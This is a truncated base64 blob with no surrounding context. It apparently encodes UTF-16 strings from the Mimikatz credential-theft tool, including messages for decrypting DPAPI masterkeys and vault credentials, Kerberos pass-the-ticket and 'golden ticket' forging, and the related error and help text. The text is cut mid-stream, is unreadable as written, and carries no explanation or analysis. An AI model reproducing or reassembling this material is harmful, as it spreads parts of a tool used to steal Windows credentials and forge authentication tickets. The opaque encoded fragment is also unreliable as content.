GQAdQBsAGUAIABuAG8AdAAgAGYAbwB1AG4AZAAgACEACgAAAAoAJQAxADYAcwAAACAAIAAtACAAIAAlAHMAAAAgACAAWwAlAHMAXQAAAAAARQBSAFIATwBSACAAbQBpAG0AaQBrAGEAdAB6AF8AZABvAEwAbwBjAGEAbAAgADsAIAAiACUAcwAiACAAYwBvAG0AbQBhAG4AZAAgAG8AZgAgACIAJQBzACIAIABtAG8AZAB1AGwAZQAgAG4AbwB0ACAAZgBvAHUAbgBkACAAIQAKAAAACgBNAG8AZAB1AGwAZQAgADoACQAlAHMAAAAAAAoARgB1AGwAbAAgAG4AYQBtAGUAIAA6AAkAJQBzAAAACgBEAGUAcwBjAHIAaQBwAHQAaQBvAG4AIAA6AAkAJQBzAAAAYgBsAG8AYgAAAAAARABlAHMAYwByAGkAYgBlACAAYQAgAEQAUABBAFAASQAgAGIAbABvAGIALAAgAHUAbgBwAHIAbwB0AGUAYwB0ACAAaQB0ACAAdwBpAHQAaAAgAEEAUABJACAAbwByACAATQBhAHMAdABlAHIAawBlAHkAAABwAHIAbwB0AGUAYwB0AAAAAAAAAFAAcgBvAHQAZQBjAHQAIABhACAAZABhAHQAYQAgAHYAaQBhACAAYQAgAEQAUABBAFAASQAgAGMAYQBsAGwAAABtAGEAcwB0AGUAcgBrAGUAeQAAAAAAAABEAGUAcwBjAHIAaQBiAGUAIABhACAATQBhAHMAdABlAHIAawBlAHkAIABmAGkAbABlACwAIAB1AG4AcAByAG8AdABlAGMAdAAgAGUAYQBjAGgAIABNAGEAcwB0AGUAcgBrAGUAeQAgACgAawBlAHkAIABkAGUAcABlAG4AZABpAG4AZwApAAAAYwByAGUAZABoAGkAcwB0AAAAAABEAGUAcwBjAHIAaQBiAGUAIABhACAAQwByAGUAZABoAGkAcwB0ACAAZgBpAGwAZQAAAAAAYwBhAHAAaQAAAAAAQwBBAFAASQAgAGsAZQB5ACAAdABlAHMAdAAAAGMAbgBnAAAAQwBOAEcAIABrAGUAeQAgAHQAZQBzAHQAAAAAAGMAcgBlAGQAAAAAAEMAUgBFAEQAIAB0AGUAcwB0AAAAdgBhAHUAbAB0AAAAVgBBAFUATABUACAAdABlAHMAdAAAAAAAYwBhAGMAaABlAAAAZABwAGEAcABpAAAARABQAEEAUABJACAATQBvAGQAdQBsAGUAIAAoAGIAeQAgAEEAUABJACAAbwByACAAUgBBAFcAIABhAGMAYwBlAHMAcwApAAAARABhAHQAYQAgAFAAcgBvAHQAZQBjAHQAaQBvAG4AIABhAHAAcABsAGkAYwBhAHQAaQBvAG4AIABwAHIAbwBnAHIAYQBtAG0AaQBuAGcAIABpAG4AdABlAHIAZgBhAGMAZQAAAGkAbgAAAAAAZABlAHMAYwByAGkAcAB0AGkAbwBuACAAOgAgACUAcwAKAAAAbwB1AHQAAABXAHIAaQB0AGUAIAB0AG8AIABmAGkAbABlACAAJwAlAHMAJwAgAGkAcwAgAE8ASwAKAAAAZABhAHQAYQAgAC0AIAAAAHQAZQB4AHQAIAA6ACAAJQBzAAAAaABlAHgAIAAgADoAIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AYgBsAG8AYgAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwByAGUAYQBkAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAbQBpAG0AaQBrAGEAdAB6AAAAAABkAGEAdABhAAAAAABkAGUAcwBjAHIAaQBwAHQAaQBvAG4AAABlAG4AdAByAG8AcAB5AAAAbQBhAGMAaABpAG4AZQAAAHAAcgBvAG0AcAB0AAAAAABjAAAACgBkAGEAdABhACAAIAAgACAAIAAgACAAIAA6ACAAJQBzAAoAAAAAAGYAbABhAGcAcwAgACAAIAAgACAAIAAgADoAIAAAAAAAcAByAG8AbQBwAHQAIABmAGwAYQBnAHMAOgAgAAAAAABlAG4AdAByAG8AcAB5ACAAIAAgACAAIAA6ACAAAAAAAEIAbABvAGIAOgAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAHAAcgBvAHQAZQBjAHQAIAA7ACAAQwByAHkAcAB0AFAAcgBvAHQAZQBjAHQARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAcAByAG8AdABlAGMAdABlAGQAAABzAGkAZAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAG0AYQBzAHQAZQByAGsAZQB5ACAAOwAgAEMAbwBuAHYAZQByAHQAUwB0AHIAaQBuAGcAUwBpAGQAVABvAFMAaQBkACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAGgAYQBzAGgAAAAAAHMAeQBzAHQAZQBtAAAAAAAAAAAACgBbAG0AYQBzAHQAZQByAGsAZQB5AF0AIAB3AGkAdABoACAAdgBvAGwAYQB0AGkAbABlACAAYwBhAGMAaABlADoAIAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBtAGEAcwB0AGUAcgBrAGUAeQAgADsAIABOAG8AIABzAHUAaQB0AGEAYgBsAGUAIABrAGUAeQAgAGYAbwB1AG4AZAAgAGkAbgAgAGMAYQBjAGgAZQAKAAAAAAAKAFsAbQBhAHMAdABlAHIAawBlAHkAXQAgAHcAaQB0AGgAIABEAFAAQQBQAEkAXwBTAFkAUwBUAEUATQAgACgAbQBhAGMAaABpAG4AZQAsACAAdABoAGUAbgAgAHUAcwBlAHIAKQA6ACAAAAAqACoAIABNAEEAQwBIAEkATgBFACAAKgAqAAoAAAAAACoAKgAgAFUAUwBFAFIAIAAqACoACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAG0AYQBzAHQAZQByAGsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAXwBtAGEAcwB0AGUAcgBrAGUAeQBfAHcAaQB0AGgAXwBzAGgAYQBEAGUAcgBpAHYAZQBkAGsAZQB5AAoAAAAKAFsAbQBhAHMAdABlAHIAawBlAHkAXQAgAHcAaQB0AGgAIABEAFAAQQBQAEkAXwBTAFkAUwBUAEUATQA6ACAAAAAAAHAAYQBzAHMAdwBvAHIAZAAAAAAAbgBvAHIAbQBhAGwAAAAAAAoAWwBtAGEAcwB0AGUAcgBrAGUAeQBdACAAdwBpAHQAaAAgAHAAYQBzAHMAdwBvAHIAZAA6ACAAJQBzACAAKAAlAHMAIAB1AHMAZQByACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAG0AYQBzAHQAZQByAGsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAXwBtAGEAcwB0AGUAcgBrAGUAeQBfAHcAaQB0AGgAXwBwAGEAcwBzAHcAbwByAGQACgAAAAAACgBbAG0AYQBzAHQAZQByAGsAZQB5AF0AIAB3AGkAdABoACAAaABhAHMAaAA6ACAAAAAAACAAKABuAHQAbABtACAAdAB5AHAAZQApAAoAAAAgACgAcwBoAGEAMQAgAHQAeQBwAGUAKQAKAAAAIAAoAD8AKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBtAGEAcwB0AGUAcgBrAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AbQBhAHMAdABlAHIAawBlAHkAXwB3AGkAdABoAF8AdQBzAGUAcgBIAGEAcwBoAAoAAAAAAAoAWwBkAG8AbQBhAGkAbgBrAGUAeQBdACAAdwBpAHQAaAAgAHYAbwBsAGEAdABpAGwAZQAgAGMAYQBjAGgAZQA6ACAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AbQBhAHMAdABlAHIAawBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwBkAHAAYQBwAGkAXwB1AG4AcAByAG8AdABlAGMAdABfAGQAbwBtAGEAaQBuAGsAZQB5AF8AdwBpAHQAaABfAGsAZQB5AAoAAABwAHYAawAAAAAAAAAKAFsAZABvAG0AYQBpAG4AawBlAHkAXQAgAHcAaQB0AGgAIABSAFMAQQAgAHAAcgBpAHYAYQB0AGUAIABrAGUAeQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAG0AYQBzAHQAZQByAGsAZQB5ACAAOwAgAEkAbgBwAHUAdAAgAG0AYQBzAHQAZQByAGsAZQB5AHMAIABmAGkAbABlACAAbgBlAGUAZABlAGQAIAAoAC8AaQBuADoAZgBpAGwAZQApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGMAcgBlAGQAaABpAHMAdAAgADsAIABDAG8AbgB2AGUAcgB0AFMAdAByAGkAbgBnAFMAaQBkAFQAbwBTAGkAZAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAcwBoAGEAMQAAAAAACgAgACAAWwBlAG4AdAByAHkAIAAlAHUAXQAgAHcAaQB0AGgAIAB2AG8AbABhAHQAaQBsAGUAIABjAGEAYwBoAGUAOgAgAAAACgAgACAAWwBlAG4AdAByAHkAIAAlAHUAXQAgAHcAaQB0AGgAIABTAEgAQQAxACAAYQBuAGQAIABTAEkARAA6ACAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBjAHIAZQBkAGgAaQBzAHQAIAA7ACAASQBuAHAAdQB0ACAAYwByAGUAZABoAGkAcwB0ACAAZgBpAGwAZQAgAG4AZQBlAGQAZQBkACAAKAAvAGkAbgA6AGYAaQBsAGUAKQAKAAAAAAB1AG4AcAByAG8AdABlAGMAdAAAACAAKgAgAHYAbwBsAGEAdABpAGwAZQAgAGMAYQBjAGgAZQA6ACAAAAAgACoAIABtAGEAcwB0AGUAcgBrAGUAeQAgACAAIAAgACAAOgAgAAAAIAA+ACAAcAByAG8AbQBwAHQAIABmAGwAYQBnAHMAIAAgADoAIAAAACAAPgAgAGUAbgB0AHIAbwBwAHkAIAAgACAAIAAgACAAIAA6ACAAAAAgAD4AIABwAGEAcwBzAHcAbwByAGQAIAAgACAAIAAgACAAOgAgACUAcwAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AcgBhAHcAXwBvAHIAXwBiAGwAbwBiACAAOwAgAEMAcgB5AHAAdABVAG4AcAByAG8AdABlAGMAdABEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAAAgACAAawBlAHkAIAA6ACAAAAAAACAAIABzAGgAYQAxADoAIAAAAAAAIAAgAHMAaQBkACAAOgAgAAAAAAAgACAAIAAAACAALQAtACAAAAAAACAAIAAgAD4AIABOAFQATABNADoAIAAAACAAIAAgAD4AIABTAEgAQQAxADoAIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AbwBlAF8AbQBhAHMAdABlAHIAawBlAHkAXwBhAGQAZAAgADsAIABOAG8AIABHAFUASQBEACAAbwByACAASwBlAHkAIABIAGEAcwBoAD8AAAAAAEcAVQBJAEQAOgAAADsAAABLAGUAeQBIAGEAcwBoADoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAG8AZQBfAGMAcgBlAGQAZQBuAHQAaQBhAGwAXwBhAGQAZAAgADsAIABOAG8AIABTAEkARAA/AAAAAABTAEkARAA6ACUAcwAAAAAATQBEADQAOgAAAAAAUwBIAEEAMQA6AAAATQBEADQAcAA6AAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AbwBlAF8AZABvAG0AYQBpAG4AawBlAHkAXwBhAGQAZAAgADsAIABOAG8AIABHAFUASQBEACAAbwByACAASwBlAHkAPwAAAFIAUwBBAAAATABFAEcAQQBDAFkAAAAAADsAVABZAFAARQA6ACUAcwAKAAAACgBDAFIARQBEAEUATgBUAEkAQQBMAFMAIABjAGEAYwBoAGUACgA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0ACgAAAAAAAAAKAE0AQQBTAFQARQBSAEsARQBZAFMAIABjAGEAYwBoAGUACgA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AAoAAAAKAEQATwBNAEEASQBOAEsARQBZAFMAIABjAGEAYwBoAGUACgA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AAoAAABBAHUAdABvACAAUwBJAEQAIABmAHIAbwBtACAAcABhAHQAaAAgAHMAZQBlAG0AcwAgAHQAbwAgAGIAZQA6ACAAJQBzAAoAAABEAGUAYwByAHkAcAB0AGkAbgBnACAAQwByAGUAZABlAG4AdABpAGEAbAA6AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGMAcgBlAGQAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AcgBlAGEAZABEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGMAcgBlAGQAIAA7ACAASQBuAHAAdQB0ACAAQwBSAEUARAAgAGYAaQBsAGUAIABuAGUAZQBkAGUAZAAgACgALwBpAG4AOgBmAGkAbABlACkACgAAAAAAcABvAGwAaQBjAHkAAAAAAEQAZQBjAHIAeQBwAHQAaQBuAGcAIABQAG8AbABpAGMAeQAgAEsAZQB5AHMAOgAKAAAAAAAgACAAQQBFAFMAMQAyADgAIABrAGUAeQA6ACAAAAAAACAAIABBAEUAUwAyADUANgAgAGsAZQB5ADoAIAAAAAAAIAAgAD4AIABBAHQAdAByAGkAYgB1AHQAZQAgACUAdQAgADoAIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AdgBhAHUAbAB0ACAAOwAgAEMAcgB5AHAAdABEAGUAYwByAHkAcAB0ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwB2AGEAdQBsAHQAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AcgBlAGEAZABEAGEAdABhACAAKABwAG8AbABpAGMAeQApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AdgBhAHUAbAB0ACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHIAZQBhAGQARABhAHQAYQAgACgAYwByAGUAZAApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAHYAYQB1AGwAdAAgADsAIABJAG4AcAB1AHQAIABDAHIAZQBkACAAZgBpAGwAZQAgAG4AZQBlAGQAZQBkACAAKAAvAGMAcgBlAGQAOgBmAGkAbABlACkACgAAAEQAZQBjAHIAeQBwAHQAaQBuAGcAIABFAHgAcABvAHIAdAAgAGYAbABhAGcAcwA6AAoAAABIajFkaVE2a3BVeDdWQzRtAAAAAEQAZQBjAHIAeQBwAHQAaQBuAGcAIABQAHIAaQB2AGEAdABlACAASwBlAHkAOgAKAAAAAAByAGEAdwAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGsAZQB5AHMAXwBjAGEAcABpACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHIAZQBhAGQARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AawBlAHkAcwBfAGMAYQBwAGkAIAA7ACAASQBuAHAAdQB0ACAAQwBBAFAASQAgAHAAcgBpAHYAYQB0AGUAIABrAGUAeQAgAGYAaQBsAGUAIABuAGUAZQBkAGUAZAAgACgALwBpAG4AOgBmAGkAbABlACkACgAAAAAAAABEAGUAYwByAHkAcAB0AGkAbgBnACAAUAByAGkAdgBhAHQAZQAgAFAAcgBvAHAAZQByAHQAaQBlAHMAOgAKAAAANmpua2Q1SjNaZFFEdHJzdQAAAAB4VDVyWlc1cVZWYnJ2cHVBAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AawBlAHkAcwBfAGMAbgBnACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHIAZQBhAGQARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBrAGUAeQBzAF8AYwBuAGcAIAA7ACAASQBuAHAAdQB0ACAAQwBOAEcAIABwAHIAaQB2AGEAdABlACAAawBlAHkAIABmAGkAbABlACAAbgBlAGUAZABlAGQAIAAoAC8AaQBuADoAZgBpAGwAZQApAAoAAABLZXJiZXJvcwAAAABwAHQAdAAAAFAAYQBzAHMALQB0AGgAZQAtAHQAaQBjAGsAZQB0ACAAWwBOAFQAIAA2AF0AAAAAAGwAaQBzAHQAAAAAAEwAaQBzAHQAIAB0AGkAYwBrAGUAdAAoAHMAKQAAAAAAdABnAHQAAABSAGUAdAByAGkAZQB2AGUAIABjAHUAcgByAGUAbgB0ACAAVABHAFQAAAAAAHAAdQByAGcAZQAAAFAAdQByAGcAZQAgAHQAaQBjAGsAZQB0ACgAcwApAAAAZwBvAGwAZABlAG4AAAAAAFcAaQBsAGwAeQAgAFcAbwBuAGsAYQAgAGYAYQBjAHQAbwByAHkAAABIAGEAcwBoACAAcABhAHMAcwB3AG8AcgBkACAAdABvACAAawBlAHkAcwAAAHAAdABjAAAAUABhAHMAcwAtAHQAaABlAC0AYwBjAGEAYwBoAGUAIABbAE4AVAA2AF0AAABjAGwAaQBzAHQAAAAAAAAATABpAHMAdAAgAHQAaQBjAGsAZQB0AHMAIABpAG4AIABNAEkAVAAvAEgAZQBpAG0AZABhAGwAbAAgAGMAYwBhAGMAaABlAAAAawBlAHIAYgBlAHIAbwBzAAAAAABLAGUAcgBiAGUAcgBvAHMAIABwAGEAYwBrAGEAZwBlACAAbQBvAGQAdQBsAGUAAAAAAAAAJQAzAHUAIAAtACAARABpAHIAZQBjAHQAbwByAHkAIAAnACUAcwAnACAAKAAqAC4AawBpAHIAYgBpACkACgAAAFwAKgAuAGsAaQByAGIAaQAAAAAAXAAAACAAIAAgACUAMwB1ACAALQAgAEYAaQBsAGUAIAAnACUAcwAnACAAOgAgAAAAJQAzAHUAIAAtACAARgBpAGwAZQAgACcAJQBzACcAIAA6ACAAAAAAAE8ASwAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AcAB0AHQAXwBmAGkAbABlACAAOwAgAEwAcwBhAEMAYQBsAGwASwBlAHIAYgBlAHIAbwBzAFAAYQBjAGsAYQBnAGUAIAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBwAHQAdABfAGYAaQBsAGUAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AcgBlAGEAZABEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAHAAdAB0AF8AZABhAHQAYQAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBTAHUAYgBtAGkAdABUAGkAYwBrAGUAdABNAGUAcwBzAGEAZwBlACAALwAgAFAAYQBjAGsAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBwAHQAdABfAGQAYQB0AGEAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUwB1AGIAbQBpAHQAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAAAAVABpAGMAawBlAHQAKABzACkAIABwAHUAcgBnAGUAIABmAG8AcgAgAGMAdQByAHIAZQBuAHQAIABzAGUAcwBzAGkAbwBuACAAaQBzACAATwBLAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AcAB1AHIAZwBlACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFAAdQByAGcAZQBUAGkAYwBrAGUAdABDAGEAYwBoAGUATQBlAHMAcwBhAGcAZQAgAC8AIABQAGEAYwBrAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AcAB1AHIAZwBlACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFAAdQByAGcAZQBUAGkAYwBrAGUAdABDAGEAYwBoAGUATQBlAHMAcwBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAEsAZQByAGIAZQByAG8AcwAgAFQARwBUACAAbwBmACAAYwB1AHIAcgBlAG4AdAAgAHMAZQBzAHMAaQBvAG4AIAA6ACAAAAAAAAoACgAJACoAKgAgAFMAZQBzAHMAaQBvAG4AIABrAGUAeQAgAGkAcwAgAE4AVQBMAEwAIQAgAEkAdAAgAG0AZQBhAG4AcwAgAGEAbABsAG8AdwB0AGcAdABzAGUAcwBzAGkAbwBuAGsAZQB5ACAAaQBzACAAbgBvAHQAIABzAGUAdAAgAHQAbwAgADEAIAAqACoACgAAAAAAbgBvACAAdABpAGMAawBlAHQAIAAhAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAHQAZwB0ACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFIAZQB0AHIAaQBlAHYAZQBUAGkAYwBrAGUAdABNAGUAcwBzAGEAZwBlACAALwAgAFAAYQBjAGsAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwB0AGcAdAAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBSAGUAdAByAGkAZQB2AGUAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAGUAeABwAG8AcgB0AAAAAAAKAFsAJQAwADgAeABdACAALQAgADAAeAAlADAAOAB4ACAALQAgACUAcwAAAAoAIAAgACAAUwB0AGEAcgB0AC8ARQBuAGQALwBNAGEAeABSAGUAbgBlAHcAOgAgAAAAAAAgADsAIAAAAAoAIAAgACAAUwBlAHIAdgBlAHIAIABOAGEAbQBlACAAIAAgACAAIAAgACAAOgAgACUAdwBaACAAQAAgACUAdwBaAAAAAAAAAAoAIAAgACAAQwBsAGkAZQBuAHQAIABOAGEAbQBlACAAIAAgACAAIAAgACAAOgAgACUAdwBaACAAQAAgACUAdwBaAAAACgAgACAAIABGAGwAYQBnAHMAIAAlADAAOAB4ACAAIAAgACAAOgAgAAAAAABrAGkAcgBiAGkAAAAKACAAIAAgACoAIABTAGEAdgBlAGQAIAB0AG8AIABmAGkAbABlACAAIAAgACAAIAA6ACAAJQBzAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGwAaQBzAHQAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUgBlAHQAcgBpAGUAdgBlAEUAbgBjAG8AZABlAGQAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZQAgAC8AIABQAGEAYwBrAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AbABpAHMAdAAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBSAGUAdAByAGkAZQB2AGUARQBuAGMAbwBkAGUAZABUAGkAYwBrAGUAdABNAGUAcwBzAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBsAGkAcwB0ACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFEAdQBlAHIAeQBUAGkAYwBrAGUAdABDAGEAYwBoAGUARQB4ADIATQBlAHMAcwBhAGcAZQAgAC8AIABQAGEAYwBrAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBsAGkAcwB0ACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFEAdQBlAHIAeQBUAGkAYwBrAGUAdABDAGEAYwBoAGUARQB4ADIATQBlAHMAcwBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAACUAdQAtACUAMAA4AHgALQAlAHcAWgBAACUAdwBaAC0AJQB3AFoALgAlAHMAAAAAAHQAaQBjAGsAZQB0AC4AawBpAHIAYgBpAAAAAAB0AGkAYwBrAGUAdAAAAAAAYQBkAG0AaQBuAAAAdQBzAGUAcgAAAAAAZABvAG0AYQBpAG4AAAAAAGQAZQBzAAAAcgBjADQAAABrAHIAYgB0AGcAdAAAAAAAYQBlAHMAMQAyADgAAAAAAGEAZQBzADIANQA2AAAAAABzAGUAcgB2AGkAYwBlAAAAdABhAHIAZwBlAHQAAAAAAGkAZAAAAAAAcgBvAGQAYwAAAAAAZwByAG8AdQBwAHMAAAAAAHMAaQBkAHMAAAAAADAAAABzAHQAYQByAHQAbwBmAGYAcwBlAHQAAAA1ADIANQA2ADAAMAAwAAAAZQBuAGQAaQBuAAAAcgBlAG4AZQB3AG0AYQB4AAAAAAAAAAAAVQBzAGUAcgAgACAAIAAgACAAIAA6ACAAJQBzAAoARABvAG0AYQBpAG4AIAAgACAAIAA6ACAAJQBzAAoAUwBJAEQAIAAgACAAIAAgACAAIAA6ACAAJQBzAAoAVQBzAGUAcgAgAEkAZAAgACAAIAA6ACAAJQB1AAoAAAAAAEcAcgBvAHUAcABzACAASQBkACAAOgAgACoAAAAlAHUAIAAAAAoARQB4AHQAcgBhACAAUwBJAEQAcwA6ACAAAAAKAFMAZQByAHYAaQBjAGUASwBlAHkAOgAgAAAAIAAtACAAJQBzAAoAAAAAAFMAZQByAHYAaQBjAGUAIAAgACAAOgAgACUAcwAKAAAAVABhAHIAZwBlAHQAIAAgACAAIAA6ACAAJQBzAAoAAABMAGkAZgBlAHQAaQBtAGUAIAAgADoAIAAAAAAAKgAqACAAUABhAHMAcwAgAFQAaABlACAAVABpAGMAawBlAHQAIAAqACoAAAAtAD4AIABUAGkAYwBrAGUAdAAgADoAIAAlAHMACgAKAAAAAAAAAAAACgBHAG8AbABkAGUAbgAgAHQAaQBjAGsAZQB0ACAAZgBvAHIAIAAnACUAcwAgAEAAIAAlAHMAJwAgAHMAdQBjAGMAZQBzAHMAZgB1AGwAbAB5ACAAcwB1AGIAbQBpAHQAdABlAGQAIABmAG8AcgAgAGMAdQByAHIAZQBuAHQAIABzAGUAcwBzAGkAbwBuAAoAAAAAAAoARgBpAG4AYQBsACAAVABpAGMAawBlAHQAIABTAGEAdgBlAGQAIAB0AG8AIABmAGkAbABlACAAIQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIAAKAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHcAcgBpAHQAZQBEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAEsAcgBiAEMAcgBlAGQAIABlAHIAcgBvAHIACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAA